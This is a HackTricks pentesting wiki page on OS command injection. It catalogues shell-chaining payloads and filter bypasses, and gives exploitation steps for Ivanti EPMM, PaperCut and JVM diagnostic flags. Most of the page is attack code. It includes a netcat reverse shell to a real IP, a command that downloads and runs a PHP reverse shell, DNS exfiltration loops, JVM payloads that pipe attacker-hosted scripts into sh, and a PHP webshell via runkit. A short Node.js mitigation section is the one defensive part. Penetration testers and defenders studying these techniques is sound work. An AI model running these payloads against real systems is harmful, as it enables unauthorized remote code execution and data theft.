command-injection.md (13870B)
1 --- 2 title: "Command Injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/command-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/command-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Command Injection 14 15 ## What Is Command Injection? 16 17 A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.<sup>[[2]](#references)</sup> 18 19 ### Context 20 21 Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands.<sup>[[1]](#references)</sup> 22 23 ## Command Injection/Execution 24 25 ```bash 26 #Both Unix and Windows supported 27 ls||id; ls ||id; ls|| id; ls || id # Execute both 28 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) 29 ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok 30 ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º 31 ls %0A id # %0A Execute both (RECOMMENDED) 32 ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs) 33 34 #Only unix supported 35 `ls` # `` 36 $(ls) # $() 37 ls; id # ; Chain commands 38 ls${LS_COLORS:10:1}${IFS}id # Might be useful 39 40 #Not executed but may be interesting 41 > /var/www/html/out.txt #Try to redirect the output to a file 42 < /etc/passwd #Try to send some input to the command 43 ``` 44 45 ### PHP rule engines with `runkit` enabled 46 47 Some applications implement admin-only “rule engines” by **executing attacker-supplied PHP**. If the environment enables the `runkit` extension, an attacker can redefine or inject functions at runtime and escalate a logic-only rule editor into **full PHP RCE**. 48 49 Indicators: 50 51 - Admin UI accepts PHP-like “rules” that are evaluated. 52 - `runkit` / `runkit7` is loaded (`phpinfo()` or `extension_loaded('runkit')`). 53 54 Abuse example (redefine a function used by the rules to execute a command): 55 56 ```php 57 <?php 58 runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;'); 59 ``` 60 61 If the rule content is stored and evaluated later, it becomes a persistent RCE primitive within the web context.<sup>[[7]](#references)</sup> 62 63 ### **Restriction Bypasses** 64 65 If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:** 66 67 68 [Bypass Linux Restrictions](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/overview) 69 70 ### **Examples** 71 72 ```text 73 vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php 74 vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 75 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay 76 ``` 77 78 ### Bash arithmetic evaluation in RewriteMap/CGI-style scripts 79 80 RewriteMap helpers written in **bash** sometimes push query params into globals and later compare them in **arithmetic contexts** (`[[ $a -gt $b ]]`, `$((...))`, `let`). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute.<sup>[[9]](#references)</sup> 81 82 **Pattern seen in Ivanti EPMM RewriteMap helpers:** 83 84 1. Params map to globals (`st` → `gStartTime`, `h` → `theValue`). 85 2. Later check: 86 ```bash 87 if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then 88 ... 89 fi 90 ``` 91 3. Send `st=theValue` so `gStartTime` points to the string `theValue`. 92 4. Send `h=gPath['sleep 5']` so `theValue` contains an array index; during the arithmetic check it runs `sleep 5` (swap for a real payload). 93 94 Probe (~5s delay then 404 if vulnerable): 95 96 ```bash 97 curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']" 98 ``` 99 100 Notes: 101 102 - Look for the same helper under other prefixes (e.g., `/mifs/c/aftstore/fob/`). 103 - Arithmetic contexts treat unknown tokens as variable/array identifiers, so this bypasses simple metacharacter filters. 104 105 ### Parameters 106 107 Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):<sup>[[10]](#references)</sup> 108 109 ```text 110 ?cmd={payload} 111 ?exec={payload} 112 ?command={payload} 113 ?execute{payload} 114 ?ping={payload} 115 ?query={payload} 116 ?jump={payload} 117 ?code={payload} 118 ?reg={payload} 119 ?do={payload} 120 ?func={payload} 121 ?arg={payload} 122 ?option={payload} 123 ?load={payload} 124 ?process={payload} 125 ?step={payload} 126 ?read={payload} 127 ?function={payload} 128 ?req={payload} 129 ?feature={payload} 130 ?exe={payload} 131 ?module={payload} 132 ?payload={payload} 133 ?run={payload} 134 ?print={payload} 135 ``` 136 137 ### Time based data exfiltration 138 139 Extracting data: char by char 140 141 ```text 142 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi 143 real 0m5.007s 144 user 0m0.000s 145 sys 0m0.000s 146 147 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi 148 real 0m0.002s 149 user 0m0.000s 150 sys 0m0.000s 151 ``` 152 153 ### DNS based data exfiltration 154 155 Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca 156 157 ```text 158 1. Go to http://dnsbin.zhack.ca/ 159 2. Execute a simple 'ls' 160 for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done 161 ``` 162 163 ```text 164 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) 165 ``` 166 167 Online tools to check for DNS based data exfiltration: 168 169 - dnsbin.zhack.ca 170 - pingb.in 171 172 ### Filtering bypass 173 174 #### Windows 175 176 ```text 177 powershell C:**2\n??e*d.*? # notepad 178 @^p^o^w^e^r^shell c:**32\c*?c.e?e # calc 179 ``` 180 181 #### Linux 182 183 See the dedicated [Linux restriction-bypass guide](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/overview) for shell, character, and command-construction techniques. 184 185 ### Node.js `child_process.exec` vs `execFile` 186 187 When auditing JavaScript/TypeScript back-ends you will often encounter the Node.js `child_process` API. 188 189 ```javascript 190 // Vulnerable: user-controlled variables interpolated inside a template string 191 const { exec } = require('child_process'); 192 exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => { 193 /* … */ 194 }); 195 ``` 196 197 `exec()` spawns a **shell** (`/bin/sh -c`), so characters with special meaning to that shell (backticks, `;`, `&&`, `|`, `$()`, and others) can cause **command injection** when untrusted input is concatenated into the command string. PHP's `proc_open()` presents the same risk when passed a shell command string instead of a safely separated argument array.<sup>[[11]](#references)</sup> 198 199 **Mitigation:** use `execFile()` (or `spawn()` without the `shell` option) and provide **each argument as a separate array element** so no shell is involved: 200 201 ```javascript 202 const { execFile } = require('child_process'); 203 execFile('/usr/bin/do-something', [ 204 '--id_user', id_user, 205 '--payload', JSON.stringify(payload) 206 ]); 207 ``` 208 209 Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).<sup>[[3]](#references)</sup> 210 211 ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) 212 213 Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. 214 215 Typical places where this appears: 216 217 - Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc. 218 - Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator. 219 - Administrative wrappers such as ISPConfig helpers, where a low-privilege web action may pass filenames or options into privileged utilities.<sup>[[12]](#references)</sup> 220 221 What to try: 222 223 - Provide values that start with `-`/`--` to be consumed as flags by the downstream tool. 224 - Abuse flags that change behavior or write files, for example: 225 - `ping`: `-f`/`-c 100000` to stress the device (DoS) 226 - `curl`: `-o /tmp/x` to write arbitrary paths, `-K <url>` to load attacker-controlled config 227 - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers 228 - If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.<sup>[[4]](#references)</sup> 229 230 Generic PoC shapes against centralized CGI dispatchers: 231 232 ```text 233 POST /cgi-bin/cstecgi.cgi HTTP/1.1 234 Content-Type: application/x-www-form-urlencoded 235 236 # Flip options in a downstream tool via argv injection 237 topicurl=<handler>¶m=-n 238 239 # Unauthenticated RCE when a handler concatenates into a shell 240 topicurl=setEasyMeshAgentCfg&agentName=;id; 241 ``` 242 243 ### JVM diagnostic callbacks for guaranteed exec 244 245 Any primitive that lets you **inject JVM command-line arguments** (`_JAVA_OPTIONS`, launcher config files, `AdditionalJavaArguments` fields in desktop agents, etc.) can be turned into a reliable RCE without touching application bytecode: 246 247 1. **Force a deterministic crash** by shrinking metaspace or heap: `-XX:MaxMetaspaceSize=16m` (or a tiny `-Xmx`). This guarantees an `OutOfMemoryError` even during early bootstrap. 248 2. **Attach an error hook**: `-XX:OnOutOfMemoryError="<cmd>"` or `-XX:OnError="<cmd>"` executes an arbitrary OS command whenever the JVM aborts. 249 3. Optionally add `-XX:+CrashOnOutOfMemoryError` to avoid recovery attempts and keep the payload one-shot. 250 251 Example payloads: 252 253 ```text 254 -XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>" 255 -XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'" 256 ``` 257 258 Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see [Localhost WebSocket abuse](/hacktricks/pentesting-web/websocket-attacks#localhost-websocket-abuse--browser-port-discovery)) therefore translate directly into OS command execution.<sup>[[5]](#references)</sup> 259 260 ## PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE 261 262 - Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose `/app?service=page/SetupCompleted`; browsing there and clicking **Login** returns a valid `JSESSIONID` without credentials (authentication bypass in the setup flow). 263 - In **Options → Config Editor**, set `print-and-device.script.enabled=Y` and `print.script.sandboxed=N` to turn on printer scripting and disable the sandbox. 264 - In the printer **Scripting** tab, enable the script and keep `printJobHook` defined to avoid validation errors, but place the payload **outside** the function so it executes immediately when you click **Apply** (no print job needed): 265 266 ```javascript 267 function printJobHook(inputs, actions) {} 268 cmd = ["bash","-c","curl http://attacker/hit"]; 269 java.lang.Runtime.getRuntime().exec(cmd); 270 ``` 271 272 - Swap the callback for a reverse shell; if the UI/PoC cannot handle pipes/redirects, stage a payload with one command and exec it with a second request.<sup>[[6]](#references)</sup> 273 - Horizon3's [CVE-2023-27350.py](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) automates the auth bypass, config flips, command execution, and rollback—run it through an upstream proxy (e.g., `proxychains` → Squid) when the service is only reachable internally.<sup>[[8]](#references)</sup> 274 275 ## Brute-Force Detection List 276 277 278 [Command Injection.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt) 279 280 281 ## References 282 283 - [1] [PayloadsAllTheThings - Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) 284 - [2] [OS command injection | Web Security Academy](https://portswigger.net/web-security/os-command-injection) 285 - [3] [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) 286 - [4] [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) 287 - [5] [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) 288 - [6] [PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html) 289 - [7] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) 290 - [8] [CVE-2023-27350.py (auth bypass + print scripting automation)](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) 291 - [9] [Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/) 292 - [10] [Top 25 parameters that might be vulnerable to RCE (@trbughunters)](https://twitter.com/trbughunters/status/1283133356922884096) 293 - [11] [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) 294 - [12] [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)